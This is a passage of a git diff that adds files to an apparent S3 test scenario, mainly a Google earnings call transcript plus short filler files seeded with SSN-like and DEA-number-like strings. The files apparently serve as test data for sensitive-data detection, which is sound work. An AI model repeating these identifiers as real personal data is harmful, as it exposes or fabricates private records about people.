executed a digital-first marketing plan for their new fall TV +lineup. The effort included custom five second ads for TrueView and collaborations with homegrown YouTube stars. +We are very excited about the new deal with Mondelez and Starcom MediaVest. This global agreement will focus on +video and display and is Mondelez's largest digital medial deal ever. +Next let's take a look at one of the fastest-growing parts of the digital advertising world, programmatic platforms for +agencies and publishers. For many years now, our goal has been to provide world-class technology for brands, +agencies, and publishers to power their ad businesses. Today, our DoubleClick suite is used by all major agencies, and +we are particularly focused on multi-screen and video. +DoubleClick Bid Manager is the go-to tool for marketers and agencies to navigate the rapidly growing programmatic +advertising space. It's doubled in size year-over-year by impression volume, and we really love the progress we see +here. +For publishers, we help them make money from the content via our publisher tools, from our Ad Exchange to +customized private exchanges which complement our core offerings. This quarter, we signed new private advertising +exchange deals with publishers like Fox TV and Edmonds. This helps publishers generate revenue from premium ad +space. We have nearly doubled the number of private exchanges running on our system year-over-year. +Finally, we are seeing remarkable momentum in our newer non-ads businesses. Whether it's Play, Hardware or Google +for Work, we continue to see strong growth and we're thrilled to be the platform for our partners successes as well. +Google Play's growth continues to impress. It's a linchpin of the amazing Android ecosystem. We brought Play Music +to 17 new countries, bringing the total to 45, and our expansion continues. Today, Play Movies is available in 93 +countries, and Play Books is available in 61 countries. +On the hardware front, just yesterday, we unveiled three fantastic new Nexus devices: Nexus 6 phone, Nexus 9 tablet, +and Nexus Player, an Android-powered streaming media player. +This quarter we worked with HP, Toshiba and Acer to introduce five new Chromebook devices, and teamed up with +ASUS, LG, Motorola, Samsung, and Sony to help launch new Android Wear devices. We're also selling Chromebook +in six new countries. They are now available in 31 countries around the world. And we sold more than 1 million +Chromebooks for education this quarter, even more than last quarter. +Chromecast celebrated its first birthday this past quarter. It's been a smashing success. Users have hit the cast button +more than 400 million times since it launched to enjoy their favorite sports, music, premium movies, and TV shows. In +September, we added even more content to Chromecast including Disney content. +And we were so proud to launch Android One, an effort to make high-quality, low-cost smartphones available to as +many people as possible. We started in India and will be expanding to other countries, including Indonesia and the +Philippines, in the coming months. +For businesses, what was called Google Enterprise is now simply Google for Work. This business has great traction. In +addition to the tremendous growth in our Apps business, we have more than 1,800 sign-ups for Google Drive for Work +every week, plus there are almost a quarter of a billion active Google Drive users, including consumer, education and +business users. +We continue to invest in our growing cloud platform business, helping developers realize the promise of cloud +computing, by providing affordable on-demand access to world-class technology. We recently announced Google +Cloud Platform for Startups, and offer up to $100,000 in credits to enable the best and brightest startups to use Google's +Cloud platform. +Sony Music recently built an interactive app in less than three weeks using App Engine to engage fans tuning into One +Direction Day, an eight-hour YouTube live stream featuring the band, one of the largest ever YouTube music live +streams. +Lastly, our Marketing team had a great quarter as well. Google My Business helped more small businesses get online, +and our Art, Copy & Code projects showed advertisers the creative potential of digital marketing. And from the annual +Google Science Fair to more recent campaigns showcasing amazing content on Play, YouTube Stars, and the power of +the Google App, the magic of Google was on prominent display. +All told, it was another terrific quarter at Google, continued momentum in our core business, and exciting innovation in +new areas. Kudos to the Googlers around the world who made it all happen. +I'll turn it over to Patrick to wrap up and start our Q&A. +Patrick Pichette +Thank you, Omid. So, Jamie, if you want to give us the instructions, and we'll get going on the Q&A. +Q&A +Operator +Thank you. [Operator Instructions] And we'll take our first question from Eric Sheridan with UBS. +: Thanks for taking the questions. So first one, maybe with the announcement that you're +expanding Google Shopping Express into other cities and rebranding it and new retailers are coming on, wanted to see +what you saw in those first few cities to think about extending it further into the other cities, and what you might be +hearing from feedback from retailers about adopting the platform, because a few also dropped off the platform at the +same time. I just wanted to get a little bit better color about how that was developing and how you're going to go +forward with it. Thanks. +: Thank you very much, Eric. So we're really trying to learn a lot here. Innovation is a messy +process, and especially with Google Express here, there's a lot of understanding that we need to have on improving +efficiency in the logistics process, trying to find price points that shoppers find attractive, and our goal is really to help +the 35 – over 35 merchant partners succeed and reach their customers. And I am a user of it, and I'm really impressed +by how much time it saves. I see the cars running around the city, around me. And I think our goal is really to take it a +step at a time and see the success, understand the logistics – logistical operations, how much it costs us to do this, and +can we deliver this basically in a successful way. +: Just, Eric – just a couple of, kind of, additional points. One is, clearly we've announced this +week three other cities. So if you go back to the fundamental premise of kind of the argument we tabled which is – the +first thing was, would people show up and want this product? It's very clear people want this product. The second one +was – and that's why we're expanding the product. +The second question then is, we've had a lot of questions about monetization, and we've announced this week we're +taking real actions on the monetization service, both including commissions on these transactions for merchants, but +also service fees that were announced as well. +So from that perspective, we kind of think of it as now we're in phase two of this product where, according to our +business plan, right, we continue to kind of look for the barriers, the milestones. And then when we hit those +milestones, then we with enthusiasm keep on going. +All this to say, it is nevertheless a scale business so working on efficiencies, working on all of the issues that are related +to logistics, continues to be a big focus of ours. On the partners, we're really thrilled to have the partners we have. You +can expect as we kind of grow through this, that we have a few coming in, more coming in, few coming out. But +overall, very, very pleased with the trajectory there. I think you should see the announcements of this week as just kind +of a sign of optimism and momentum in it. +Thank you so much for your question, Eric. +: Great. +: Jamie, let's go to our next question. +Operator +And we'll go next to Justin Post with Merrill Lynch. +: Thank you. I'm wondering if you could help us at all, segregate the Search business from other +items in Google website, and just give us your view on the health of the Search business. And then comment a little bit +on that paid click deceleration. What is driving that, and do you even see that as an important metric? Thank you. +: So I'll take that. The two points is one, look, we don't give the breakdown of the Google Sites. +But actually, it's pretty healthy on all dimensions. I think that from that perspective, search is going well, and all of the +other dimensions of our Sites is actually doing pretty well. That's what you see in our kind of 20% year-over-year, just +for Sites, growth. So from that perspective, I think that we're pretty happy on that front. +On the CPC issue, it's pretty simple. I mean, we really had, again, you have to think of the CPC and the volume as one +basket that actually delivers. So monetization overall is still very strong. We're very happy with the monetization, +Jamie, and if we have in one quarter kind of movements between one or the other, that is just basically the continued +experimentation and the impact of all of the factors that I usually talk about. So from that perspective, there's nothing of +noteworthy to kind of mention this quarter. We are very happy with the trends in both cases. +: Thank you. +: Thanks, Jamie. Jamie, we'll go to our next question. Sorry, Justin I meant. Jamie, we'll go to +our next question. +Operator +And we'll go next to Stephen Ju with Credit Suisse. +: Thanks. I think in the past you've talked about the opportunity cost not being there for the user +when they're trying to access your products and services, as a rationale for making investments. So is there any data +you can show on your newest users in the emerging markets who are going straight to mobile? Is it safe to assume that +consumption from these new users are running at a pretty similar growth trajectory with what you've seen historically +on a desktop and as well as your established markets or is their engagement with all of your products more intense? +And is there anything you can say in terms of what areas of your business are seeing the more intense level of +investments? Is it more your consumer focused initiatives or more your enterprise focus cloud initiatives? Thank you. +: So a couple of points there, and then if Omid has additional comments. One is clearly +emerging businesses, emerging markets are just fundamentally different than the more developed markets, right? If you +think of a country like Indonesia, or India where people go straight to mobile and so in that context, there's clearly, a lot +of differences between those markets, and how they are evolving, compared to what would've been 10 years ago in the +U.K. or the U.S. So from that perspective, I think that, and that's why you see us launch things like Android One, right? +When you have just under 2 billion people around the world that have already smartphones, the vast majority of the +population looks for things online. So these kind of initiatives that we're launching I think is the most important piece. +From an investment at Google, we're investing without giving you all the details, we are clearly investing in our core +business, it remains the focus of our activities. But if you look across, right, as Omid mentioned, he mentioned the +Cloud business, the Google for Work business, all of these other areas, the Play business, the hardware business, these +are all areas where we're investing, and we're investing with enthusiasm. With each their own specific business case, +each of them actually looking for what is their growth and profitability models, and we just monitor them pretty tightly. +Okay. +: Thank you. +: You're welcome. Jamie, let's go to our next question, please. +Operator +And we'll go next to Mark Mahaney with RBC Capital Markets. +: Hey, Patrick. In describing the Google search strength, you said you saw particular strength +in mobile search. Could you elaborate? +: Yes. No. I mean, look, it's very clear that mobile is still a big part of our growth, and we're +very pleased about it. I mean, but when we talk about mobile, I think that there's a couple of things. One is you have to +continue to look at both, the growth in volume, and the growth in pricing, so these are long-term trends that we're +seeing. The CPCs and the clicks, they can fluctuate from quarter to quarter. It just happens that we've made some +changes this quarter that improved the mobile pricing while impacting the lower quality clicks, and that's what you see +reflected in our numbers. +Again, but I wouldn't just as an overall statement remember to everybody that I would not attribute the aggregate CPCs +movement just to that one factor of mobile, right? Because there's still a full factor mix, as I talked about in my remarks +about geography and product changes. So all of this actually makes a big factor as well. So that's what we've seen in the +strength of mobile, but we're still very pleased with the momentum. +Thanks, Mark. Jamie, we'll go to our next question, please. +Operator +And we'll go next to Ross Sandler with Deutsche Bank. +: Thanks, guys. I have two questions, first on the U.K. and then second on mobile payments. So +the U.K. growth looks like it's dropping off pretty hard on an ex-FX basis, either one-year or two-year growth rates, so +I think this is an economy that folks generally think is supposed to be holding up pretty well. So can you talk about +what you're seeing in the U.K.? You had mentioned weather and a few other things, but a little more color on what's +going on with the ad market in the U.K. +And then mobile payments, that's an area that's getting a lot of attention lately. Can you just give us an update on where +the Google Wallet team stands and what kind of traction you're seeing in terms of user adoption and maybe how you +plan on addressing merchant payments, kind of outside of in-app or things from the App Store? Thank you. +: So, Ross, why don't I take the first question, and then Omid will give you the answer to the +second. As we talk about the U.K., a couple points are worth note. One is, the U.K. contributed roughly 10% of our +total revenue this quarter, and that's been the same for kind of the past many quarters, and in fact, if you go back years, +it'll still be in the same range. So there's nothing kind of fundamental that is worth noting. It's still a pretty good market +with decent growth. +The issue of deceleration this quarter, specifically, I mentioned a number of elements, right? So platform mix. We do +see a mixture of desktop/tablet searches having a greater impact in the U.K. than anywhere else than we see in our +network of countries. +On property mix, you'll remember we talked about this also on prior calls, AFS, as a business, has a much bigger part +of our both U.K. and U.S. business, so it'll skew to those geographies. And so those are kind of some of the elements. +And as I mentioned, year-over-year comps were difficult, and if you have a great summer in terms of weather or bad +summer in weather, it can have some real impact on the growth rates as well. So it's a combination of a number of +factors that the U.K. has driven our performance, but still pretty pleased. But I won't, that's really what's going on there. +In terms of the payments, I'll let Omid give you an update there. +: Hi, Ross. I think our goal here is really achieving mass merchant adoption, so the availability +of these NFC devices is about that and also making it easier for consumers to replace their wallets with their +smartphones, hopefully, more and more over time. So reducing friction in everyday shopping experiences is how we +approach it, and the focus on the user, and we're really developing a fully functional payment system. So as you may +know, users can send money today to friends through Gmail using the Wallet app. We have loyalty and gift cards that +can be stored the Wallet app, and the Buy With Google button makes it possible for users to make purchases very +quickly with two clicks. So again, it's this two-fronted focus on merchant adoption and removing the friction for users. +Thank you. +: Thanks, Ross. Jamie, let's go to our next question, please. +Operator +And we'll go next to Ben Schachter with Macquarie. +: Omid, after many years of waiting for television budgets to shift online, it appears to be +happening in a more accelerated fashion. So, one, do you agree with that, and two, could you just discuss YouTube's +positioning versus competitors, and in particular, Facebook Video. +And then Patrick, couple of quick ones for you. One, given the evolution of tax laws in Europe, how are you and how +should we be thinking about Google's tax rate over the coming years? And then also, just any comments on stock comp +being particularly high this quarter? Thanks. +: Thank you, Ben. This is Omid. So the way we look at it is that users are really accessing +Internet on large screens with high broadband speeds, and we're getting great monetization on these screens, and +advertisers are really paying attention. So we have seen a real shift where marketers and agencies who have historically +built their brands on TV are really reorienting this toward investments on digital. And in regards to YouTube, our focus +here is really this focus on investments in more content, more creativity. +And I think you also mentioned you had a Facebook comment. What they're doing, I think, in video has always helped +us with bringing more attention and more innovation to the space, so we welcome that, and the way we're going to +approach it is just continue to invest in our platform and on the creators, and building better and better monetization +solutions. Just again, you may know some of these metrics, but I'll say it again. We have 400 hours of content that are +uploaded every minute, and partner revenues up 60% from 2012 to 2013 on YouTube. +: Great. Let me jump, Ben, on the YouTube-specific questions. On the tax issues, I mean, +you've heard about the Ireland announcement earlier this week on the double Irish tax structure. I mean, for us, we've +always said that it's for politicians to decide what laws they want to put in then for companies just to comply with those +laws, and that's what we're basically doing. +So we're deeply committed to Ireland. We've worked there for many years. We have a great – that's our headquarters. +We have over 2,500 employees there. And so from that perspective, we're committed to the place. And we're going to +work with the authorities just to kind of get clarifications over this, but it's really way too early to tell what's going to +happen. So we're just – just like you, getting the information, the news, and we're going to work with the authorities to +understand it better, and then comply with the laws. +In terms of stock-based compensation, a few – just a few notes on this one for this quarter. We have – it's the time of +year where we do equity refresh. And from a timing perspective, last year we did the equity refresh in Q2 instead of +Q3. So there's kind of like a geography of Q2 versus Q3 that kind of hit us in Q3. In addition to this, we – if you go to +our filings, you'll see that our executive compensation, so think of the top 15 or top 20, I can't remember the exact +numbers but it's stated there, that they do their refreshes every two years, and it happens to be this quarter as well. And +then finally, I mean, we obviously have more employees. So it's just a compounding set of factors, Ben, that I kind of +lumped it all into Q3. So it's no more, no less than that on that one. So... +: Thank you. +: Thanks for your question. Jamie, let's go to our next question, please. +Operator +And we'll go next to Anthony DiClemente with Nomura. +: Thanks a lot. Just on core operating expenses, is there anything in particular, Patrick, +that you might call out in terms of expense growth in the quarter, as you have operating deleverage through the P&L? +I'm just wondering going forward if that's likely to continue. +And then a question for Omid, I suppose, on YouTube, you mentioned – I know that YouTube's investing in its studio +as a way to help along new talent, new home-grown talent, onto the new platform directly. I'm wondering if you could +talk about the multi-channel networks, how YouTube's relationships with the multi-channel networks, the MCNs, are +evolving at a high level, how you guys think about that dynamic between the home-grown YouTube talent itself, as +compared to talent that resides on the MCNs? Thanks. +: Okay, Anthony. Thank you for your question. Why don't I jump in right now on just expenses +for the quarter. I think if I had two comments to make on expenses in the quarter, you may notice that relative to a few +models that I saw out there, R&D is – was higher and other areas are a bit lower. And I just want to highlight that we +hire and we focus clearly our hiring in our tech payrolls or, think of it as, all of our engineering. And that skews to +R&D. So as we bring on people and we push forward the growth of our – we really focus it in the areas that are going +to make a fundamental difference to Google, which is engineering and by doing so, it kind of skews to R&D. So that's +why R&D was maybe a bit higher than expected by some models out there. And so that's one piece. +And then the other one is, I just wanted to reiterate that, I mean, it's very clearly an extraordinary quarter from a hiring +perspective for the comments I've made before. And so, we're kind of clearly seeing that, but at the same time I +wouldn't say that this is clearly a new run rate for us or anything like that. It just happened that most of these kind of +college students end up landing in Q3, and we have the result of a banner year from a hiring perspective. All through, it +takes a year to hire them all, and then they come into this quarter. So that's really the – kind of the two big elements that +have actually flowed, Anthony, through our P&L this quarter. +: Okay, great. Thanks. +: I'll let Omid answer the YouTube question. +: Yes, Anthony. So again, we have a very, very partnership-minded organization here, and +company as a whole. So we view MCNs as, I mean, organizations that are really going to help a developer of great +content, support the creators on YouTube. Just like we are doing that with YouTube Studios, I think MCNs can help a +lot of these become future stars, hopefully, and develop more success. So just, we view it as another form of +partnership that we need to pay attention to and support, so that's how we look at it. +: Thank you, Anthony. Jamie, let's go to our next question, please. +Operator +And we'll go next to Carlos Kirjner with Sanford Bernstein. +: Thank you. I have two questions. Patrick, is CapEx still driven by real estate and +construction? And if you ask, can you explain in a bit more detail what changed about 18 months ago in the way you +acquire real estate and build to drive the inflection in capital-intensity that we have seen? It looks like you operated for +more than 10 years in one way, and then there was a shift that has led to this massive inflection. So what happened +there? +Secondly, do you think that Google Login is adopted or is about to be adopted by large enough number of important +mobile apps for you to be competitive and long term when it comes to offering mobile targeting attribution? And can +you give us an update on developer adoption of deep linking ? Thank you. +: Okay. So I can certainly take the first and let Omid answer the second. I've made that +comment before in the prior quarter, Carlos. The CapEx intensity in our CapEx program has been built by a +combination of, as I mentioned in previous quarters, catching up when we were running too hot in terms of tightening +of capacity. And so, on one side I am very happy that when we kind of really torque our utilization rates, on the other +side it creates a lot of operational issues. And that led us to believe that in fact investing ahead of the curve was actually +a strategic imperative for us to make sure that if we have the extra capacity, we will grow into it. And I mean the +difference between certainly on the data center side, right, the data center construction and machines. And you will +have noticed that this quarter again, the priorities, if you look at the nomenclature I gave, right, construction of data +center is the primary. So it is the core infrastructures, it's groundbreaking, and it is setting up the core infrastructures. +Machine was the second quarter for this quarter, but you'll notice that it for flip flops with real estate. In the case of the +real estate, I mean, you – we have been investing for our campus and otherwise when we see – when we hit this kind of +minimum scale, we need to kind of make investments in real estate. And again with an eye of looking to the long-term +rather than just filling at least for the next 12 months or 24 months, because once you kind of, if you decide you're +going to grow in a place, then need the capacity for multi years, so all of these factors have actually kind of been the +driver for the shift in capital intensity that you have seen over the last 18 months. So that is basically the explanation, +Carlos. +I will let Omid kind of jump on the second question about the mobile question. +: Sure. Thanks, Carlos. +So the AdMob network, which is 900 million unique devices per month, and our own apps are hugely popular, Gmail, +Maps, Google App and YouTube. And our focus is also is helping developers generate app downloads and +reengagement with users who have already downloaded their apps, as I mentioned in my remarks earlier. And we're +really helping drive hundreds of millions of app downloads through app promotion products. Again, the goal here is +that you just search and not worry about where the answer is, is it on a web page or an app? And we have been in this +game for a while. +Four years ago, we acquired AdMob and have continued to invest in this space heavily. And this quarter we launched +the next generation of these app promotion ads across Google Search, Google Display Network and YouTube. So we're +really focused in this area to help the developers and our users. +: I think we can clearly say that we're pretty pleased with the developer adoption of this. They +see huge a huge benefit, so they're actually investing in it. Thank you, Carlos. +: Thank you. +: Jamie, let's go to our next question, please. +Operator +And we'll go next to Douglas Anmuth with JPMorgan. +: Thanks for taking the questions. Just two for Omid. First, you talked about Estimated +Conversions and seeing a 15% increase there. Can you just talk about whether you think that's actually leading to more +spend at this point from advertisers? +And then secondly, are you seeing mobile like-for-like pricing improvements at this point? And what gives you the +confidence in mobile closing the gap with desktop over time? +: Okay. So both are really good questions. They're related really. I think the way this is going +to play out is that I think advertisers are going to, with these tools, be able to just understand conversions better. Where +is it happening? And then the dynamics of how those changes is all the way back to adjusting bids and then paying +attention to where the conversions are coming from. +So again, I think just to maybe highlight some examples for you, the fashion retailer, Express, who is an early tester +found that the overall return on their ad spend doubled when off-line sales were included in the online advertising +results. So we're just continuing to invest here, and get this right. It is too early to figure out the impact exactly on +revenue, but we expect Estimated Total Conversion to help the advertisers truly measure this, and ultimately adjust +their bidding, and just get much more sophisticated in these measurements. I hope that answers. +: And mobile on a like-for-like basis? +: The way we are focused on this is that users really are using the screens interchangeably, +simultaneously throughout the day. And we really are not at this point doing this like-by-like comparisons or comment +on it, because we think it's still early, and we're really focused on just delivering the results, and it took many years, for +example, for the desktop ecosystem to develop the right ad formats, and that really take advantage of the platform. So I +think we just need to continue innovating, experimenting here to get it right. +: Thank you. +: Thanks, Douglas. Jamie, let's go to our next question, please. +Operator +And we'll go next to Mark May with Citi. +: Thanks for taking my question. Whether or not there's been quite a bit of attention paid to cloud +services space and Google in particular. Wondering if you can comment a little bit around the traction that you're +getting with compute engine, and what sort of impact that, that is having on revenue expenses and CapEx for the +business. +And then secondly, hoping, I think earlier you made a comment around some changes you've made in mobile that have +impacted some of your network click metrics. So hoping you could elaborate a bit more on that. +: Okay. Do you want me to...? +: Go ahead. +: I will just jump on the cloud, and then the last piece, and then maybe, I wasn't sure what the +very first part of your question, Mark, was. But clearly, cloud is an area that is kind of booming. Right? We know that +the long-term trends are very clear for us, which is the vast majority of businesses, everybody's moving their +infrastructures to the Cloud. So and it is an area where we have fundamentally great assets to contribute to this industry, +both in terms of the flexibility, the cost structure, the technology. And that's why we're investing heavily in there. +We're seeing great progress from an adoption perspective, signing up new customers, and from a CapEx. Obviously, +you need to kind of, that's one of them that as I mentioned on the CapEx story with Carlos a few minutes ago, if you do +take off, and you really get the kind of customer adoption that you expect, if you don't have the capacity in place, it can +have a really important kind of differential in your success. So there is one that we're keeping a pretty close eye on +from a CapEx perspective, and making sure that we have the option value. +On the – the third question was mobile did have network click. Yes. Clicks and CPCs always fluctuate from quarter to +quarter. It just happens that we have, as I mentioned, made some changes this quarter that improved our mobile pricing +while impacting low quality clicks. Sometimes it goes, if you think of a long-term trend in the mobile sector, a piece of +our products, sometimes you kind of put new change in the network, and then it creates a lot of clicks for it, but then +the CPCs are much lower. And then if it doesn't actually create something that's really good for the user, you need to +kind of pull back on it, that's you've heard, for example, parallel to the AFS business. +So it's kind of constantly fluctuating. What's really important to like that is really the combined volume and pricing +growth. And so for us, it's very clear that we're doing some great work in this area, and monetization in the aggregate is +doing very well. That's really what we're, like on a quarter over quarter basis, don't panic about little movements here +and there. You look at the fundamental trends, and that's where we're very pleased. +Did you have a first, was there a first question that I missed, Mark? +: No. I was hoping on cloud that maybe you could put some numbers behind the level of traction +in terms of number of customers, impact on expenses, CapEx, the level of investment in the cloud...? +: I see. Okay. So, I mean, I've given you what I can give you on that. Again, we're really thrilled +by momentum there and our focus in that area. +: Thanks. +: Thanks, Mark. Jamie, we'll go to our next question, please. +Operator +And we'll go next to Peter Stabler with Wells Fargo Securities. +: Thanks for taking the question. One for Omid. Going back to Estimated Total Conversions, +I'm wondering if we could expect odometry to be integrated into the DoubleClick platform, and how that may or may +not work with the Estimated Total Conversions tool? +And then finally, I'm wondering if you could comment on your work around coming up with a solution that reduces the +dependence upon cookies and perhaps introduces a cross-platform, or cross device ID for Google, and what impact that +could have on the market. Thank you. +: Sure. I think, again, it's early for us to call out odometry. It's a great attribution solution, and +we've been investing in that tool for a long time now, and trying to just get this right by all the innovation that's +happening within Google, and just really understanding the impact of these usage models and between the mobile +devices and desktop. +And so, I think we're going to look at the – everything that's available out there, both what we're developing and +partners out there that we could partner with, and continue to invest here. It's going to take us, I think, a while, just like +we've experienced before with search, to get this right and have a real end-to-end solution for marketers and publishers. +And so, I think you'll see a lot of innovation in this space, what Facebook recently announced another approach, and +we're going to study that and just figure out what is the right set of offerings from us. So I guess unfortunately, I can't +give you a very specific answer here. But I think what you'll see from us is, pay a huge amount of attention here, make +the measurements, see the impact, and then offer a full suite to our customers. +: Yeah, so just basically, too early to speculate on these issues. But clearly it's an area of focus +of the company. +: Thank you. +: Thank you, Peter. Jamie, our next question, please? +Operator +And we'll go next to Heather Bellini with Goldman Sachs. +: Great. Thank you. I had two questions. The first was a follow-up on Google Shopping +Express. I mean, just wondering, when you think about what Amazon is doing with same-day delivery, they're +obviously building these fulfillment centers themselves, which theoretically should give them scale over time. I'm +wondering if you could share with us how you see this evolving for Google over time. +And then a follow-up question would just be related to your comments about payments, and I'm just wondering how +critical is it for Google itself to solve the payment friction that you're seeing with kind of a ubiquitous digital wallet or +would you be fine with a third party doing so for the Android platform? +: Thank you, Heather. I'll take the first and then led Omid answer the second. Clearly, Google +Shopping Express, I mean, there is an issue of scale, and it's a combination of an issue of scale, tools and efficiency. I +mean, that's how you, if you think over time, end up with a product that you can deliver within kind of hours at the +right value and where you can make money. So it's not only about central. I mean, yes, for efficiency you need +centralization, you need a bunch of distribution tools that actually work. We're clearly focused on that as well. I mean, +it is part of the business case that we're building. But you need more than that, right? There's a lot of other elements as +well. So clearly, focused like our competitors would be. +And in our announcements today, again, right, kind of our – was it yesterday? Yesterday's announcements on Shopping +Express kind of tell you that we are investing both for the three new cities to kind of give you a hint of, yes, it's about +scale. So clearly we're focused on that. +: Yeah, and, Heather, on the Wallet question, I think again we're going to continue to be open +here. So we are trying to get it right and innovating on multiple fronts, as I mentioned earlier. And if partnering makes +sense, we'll take a look at it as well. So – and the goal is, here, really to provide this very seamless experience for the +users, and then get the merchant adoption and hopefully get this right. I'm certainly delighted every time I use this and +it works. And I think if we can all get the ecosystem right and there are multiple players in it and partnerships that are +making it happen, we're definitely open to that. +: Thank you, Heather. Let's go to our next question. +Operator +And we'll go next to Paul Vogel with Barclays. +: Yeah, great. Thank you very much. As Google Play has grown, I'm just wondering if you could talk +about the relationships with the carriers and how that's evolving over time. +: Yeah, I can answer that. So essentially, Google Play is doing great. And everybody wants to +kind of be part of this answer. And so for our carriers, I mean, they're really done on a one-by-one basis. So the real +question is, what's the win-win? And so they're all done individually. We have great, great partnerships with many +carriers that actually fuel this, including carrier billing. So all this actually is just a very, very positive ecosystem for us, +and so we're totally thrilled to have these partnerships. And we expect to continue to do so. +: Thanks. +: Thanks, Paul. Jamie, one more question? +Operator +And we'll take our final question from Brian Pitz with Jefferies. +: Great. Thanks for the questions. Two on video for Omid. You mentioned Google Preferred in +your comments. Any color on further expanding the upfront process with the ad agencies? Basically, do you anticipate +that upwards of 5% to 10% of your top inventory could actually be set aside for Preferred, longer-term? +And then just given the shift of off-line TV dollars to online, as you've mentioned, any comments on political, +specifically, or other new categories more aggressively moving onto YouTube? Thanks so much. +: Sure. Thank you, Brian. +So we secured upfront commitments from five top agencies, IPG, OMD, Digitas, Carat, SMG and some major brands +like General Motors and Coca-Cola, and we were actually very, very pleased with how Google Preferred was +experienced and adopted. So I think we're going to definitely continue working on this, and also if you look at our +history, we're very used to it, the selling model that was all about performance, and then as we added properties like +YouTube and brand and mobile, we're just getting, more and more now gaining a better understanding of how to work +in this upfront process, for example, to offer the marketers this incredible asset that we have in YouTube and our +network. +So we're going to just continue getting better on the products side, figure out how to package this inventory better and +then the tools that are needed. And then on the selling side, just get better at also working with the agencies and our +advertisers and marketers to get this type of selling right. +And on the political vertical, I think clients love to use our products as part of their campaigns for federal, local, state +campaigns, and it is a really great area for us. We have, actually, a political sales team that's focused on it, so I think +you'll see more of that effort from us. +: Great. Thanks. +: Thank you very much. +Patrick Pichette +Thanks, Brian. Jamie, that's all the time we have. So if you don't mind, I'd just like to close by reiterating what Omid +said a bit earlier. +This quarter was a great quarter with great momentum again, and I just wanted to thank all the great efforts of our +Googlers around the world who make us look good on this call because of their fantastic efforts. +So with that, Jamie, I'll let you close the call, and have a happy Q4, everyone. +Operator +Thank you. Again, that does conclude today's conference. We do appreciate everyone's participation. + Current Time : 2020.06.14-17.27.50 diff --git a/scenarios/scenario_5/infra/s3_files/Jun21_Fwd_Healthcare.txt b/scenarios/scenario_5/infra/s3_files/Jun21_Fwd_Healthcare.txt new file mode 100644 index 0000000..63dc93e --- /dev/null +++ b/scenarios/scenario_5/infra/s3_files/Jun21_Fwd_Healthcare.txt @@ -0,0 +1,3 @@ +test awesome 1 good health great awesome1 great 3 yes awesome 3 great test great 100 +Health care - DEA BB4053839 | BJ6125341 +Health care - DEA BB4053869 | BJ985341 Current Time : 2020.06.14-17.27.100 diff --git a/scenarios/scenario_5/infra/s3_files/Jun27_NewFwd_PII.txt b/scenarios/scenario_5/infra/s3_files/Jun27_NewFwd_PII.txt new file mode 100644 index 0000000..957123d --- /dev/null +++ b/scenarios/scenario_5/infra/s3_files/Jun27_NewFwd_PII.txt @@ -0,0 +1,5 @@ +Super Awesome SSN 3.3 good great test 098-07-3316 Current Time : 2020.03.11-17.27.50 + +APPLE BALL new awesome good awesomefds Great + +SSN 9998880000 \ No newline at end of file diff --git a/scenarios/scenario_5/infra/s3_files/May3_dataprofile.txt b/scenarios/scenario_5/infra/s3_files/May3_dataprofile.txt new file mode 100644 index 0000000..97113b6 --- /dev/null +++ b/scenarios/scenario_5/infra/s3_files/May3_dataprofile.txt @@ -0,0 +1,3 @@ + ssn great testing awesome yes test happy thanks god 21 098-07-3316 Current Time : 2020.03.11-17.27.50 + +APPLE BALL Anitha Testing11 great awesome great stupendous wonderful 100 \ No newline at end of file diff --git a/scenarios/scenario_5/infra/s3_files/PII_Health_IP_with_multiline.txt.txt b/scenarios/scenario_5/infra/s3_files/PII_Health_IP_with_multiline.txt.txt new file mode 100644 index 0000000..b87e715 --- /dev/null +++ b/scenarios/scenario_5/infra/s3_files/PII_Health_IP_with_multiline.txt.txt @@ -0,0 +1,242 @@ + + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +ssn 098-07-3316 Current Time : May 6th 2:50 + + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + + + + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two 